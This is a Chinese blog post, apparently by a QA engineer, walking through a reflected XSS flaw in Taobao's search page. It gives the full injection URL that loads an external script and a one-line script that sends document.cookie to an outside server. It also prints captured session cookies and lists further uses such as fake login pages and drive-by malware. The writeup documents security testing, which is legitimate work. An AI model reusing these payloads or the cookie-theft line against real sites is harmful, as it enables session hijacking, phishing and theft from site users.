【工作经历:阿里巴巴搜索技术研发中心QA ,百度新产品测试部QA】 【领域:测试分析,自动化测试,性能测试,安全测试 】 【个人定位:高级测试工程师+培训师+领域产品专家】

淘宝搜索xss的再次分析

上一篇 / 下一篇  2008-08-17 01:54:17 / 个人分类:安全测试

这是一个非常低级的xss,连基本的冒号就没有过滤。看来是大意所致,其他的地方,都没有这个毛病。

既然已经得到可以xss地方。我就直接使用外部脚本加载来执行一些操作。使用外部脚本加载
http://192.168.0.15/test.js就是第三方的脚本文件。在脚本里可以随便写上一些证明的语句,比如alert。

http://search1.taobao.com/browse/search_auction.htm?

f=D9_5_1&commend=all&prop=&ppath=&promote=&_promote=&isnew=&user_action=initiative&at_topsearch=1&search_type=auction&q=>"'><scri

pt%20src=http://192.168.0.15/test.js></scrīpt>&cat=&productCat=1&book_search=fuzzy_sr_all_text

访问之后,成功的执行了外部js的文件。这样,我就可以有更多空间去完成自己的操作。
在虚拟机上登录自己的淘宝帐号,然后在ie的地址栏中输入javascrīpt:alert(document.cookie)查看当前的cookie。

真正的cookie

---------------------------
Microsoft Internet Explorer
---------------------------
uc1=_yb_=false&_msg_=0&_msg_v=true&cookie21=KwmMFB0d1nI9&cookie14=KPtF5EqaNsqDvQ%3D%

3D&cookie15=dHJ1ZQ==&cookie16=LxCHKl404vvFNTkbknIAwYbDuw%3D%3D&cookie17=IZioVB3mclM%3D&existShop=false&existXShop=false;

cookie2=a4eda691fb507c147b72295462ba10b8; t=cf6f6f6c37808b6701f6d9b69da117a3; _reg_table_=ONQYEVJBXCWPFTKGLZHIMRUDAS;

_reg_name_=VyO3HBcFYdM%3D; _reg_first_time_date=KPtF5EqaN8X2j%2FP6Vg%3D%3D; cookie1=L0kKVuHbka5%

2BsNZi9DhQXxbu4tf8obcF1sARtUrSoT4%3D; lastgetwwmsg=MTIxODg3Mjg1MQ%3D%3D; ssllogin; _ad_; _wwmsg_=0%2C0; btc=81000867%2B150402%

3A50%3B150401%3A50%3B%3A%3B%3A%3B%3A%3B%3A; _sv_=0; tracknick=sihanjishu; tg=0; _cc_=Icgi8Z%2F1iA%3D%3D; _nk_=sihanjishu;

user_tag_user_id=KpAfzyJUgA0JMCndQZVHJw%3D%3D
---------------------------
OK   
---------------------------



然后访问上面的构造的xss地址。同时修改js的脚本为alert(document.cookie)
再次访问xss地址,结果发现,弹出了cookie的提示。



修改js的脚本文件,这次通过js发送请求,把当前的cookie发送到网路上去。
我在外部网络上新建一个web服务器,然后写一个接受请求的文件,把获得的请求保存起来。http://192.168.0.15/xssc.asp就是外部的用来保存请求数据的文件。

js的内容

new Image().src="http://192.168.0.15/xssc.asp?"+escape(document.cookie);


再次访问上面构造的那个xss地址。成功的在外部计算机上得到了虚拟机里登录淘宝的cookie。
收到的cookie内容。

uc1=_msg_=0&_msg_v=true&cookie21=KwmMFB0d1nI9&cookie14=KPtF5EqaMaMA8Q%3D%

3D&cookie15=dHJ1ZQ==&cookie16=LxCHKl404vvFNTkbknIAwYbDuw%3D%3D&cookie17=IZioVB3mclM%

3D&existShop=false&existXShop=false&_yb_=false; cookie2=a4eda691fb507c147b72295462ba10b8; t=cf6f6f6c37808b6701f6d9b69da117a3;

_reg_table_=ONQYEVJBXCWPFTKGLZHIMRUDAS; _reg_name_=VyO3HBcFYdM%3D; _reg_first_time_date=KPtF5EqaN8X2j%2FP6Vg%3D%3D;

cookie1=L0kKVuHbka5%2BsNZi9DhQXxbu4tf8obcF1sARtUrSoT4%3D; lastgetwwmsg=MTIxODg3Mjg1MQ%3D%3D; ssllogin; _ad_; _wwmsg_=0%2C0;

btc=81000867%2B150402%3A50%3B150401%3A50%3B%3A%3B%3A%3B%3A%3B%3A; _sv_=0; tracknick=sihanjishu; tg=0; _cc_=Icgi8Z%2F1iA%3D%3D;

_nk_=sihanjishu; user_tag_user_id=KpAfzyJUgA0JMCndQZVHJw%3D%3D



cookie不是完全一样,很奇怪,没有分析具体的原因。然后使用sessionIE,去访问得到的页面,竟然发现提示需要登录。
看来是淘宝做什么限制了,不在同一台计算机的登录时不同的。这样的情况,在qq邮箱里也存在,应该是采用什么技术吧,以前听说过一点。

既然得到cookie无法去访问后台,就表明暂时这个xss还是没有太大危害性的。



现在换一个思路。既然得到cookie也无法操纵别人后台,那我就选择在xss的时候通过js去操纵。



这时发现搜索页面,也就是那个存在xss的页面,竟然和淘宝的用户后台不在一个二级域名中,也就是说,可能不在同一个计算机上。这样xss的请求访问后台,是相当于跨域访问的。


剩下的思路就是通过一些跨域的漏洞,去访问其他域名下的信息,比如操纵后台的操作,访问别人的站内信内容。
我不知道淘宝的cookie设置的是否是二级域名区别的,如果可以访问同一根域名下的内容,这样就简单多了。


这个xss的危害

1、可能导致用户的信息泄漏。后台的数据遭到篡改。利用ie的跨域漏洞,可能会访问到很多的内容。
2、可能会利用社工,用来欺骗用户的密码,在外部的js文件中,做一个登录的假页面,然后用户的用户名和密码。
3、利用淘宝上的这个xss,直接在js中加载一些恶意代码,网页木马什么的。直接入侵用户的电脑。


暂时研究到此为止吧。





TAG: 安全测试

 

评分:0

我来说两句

Open Toolbar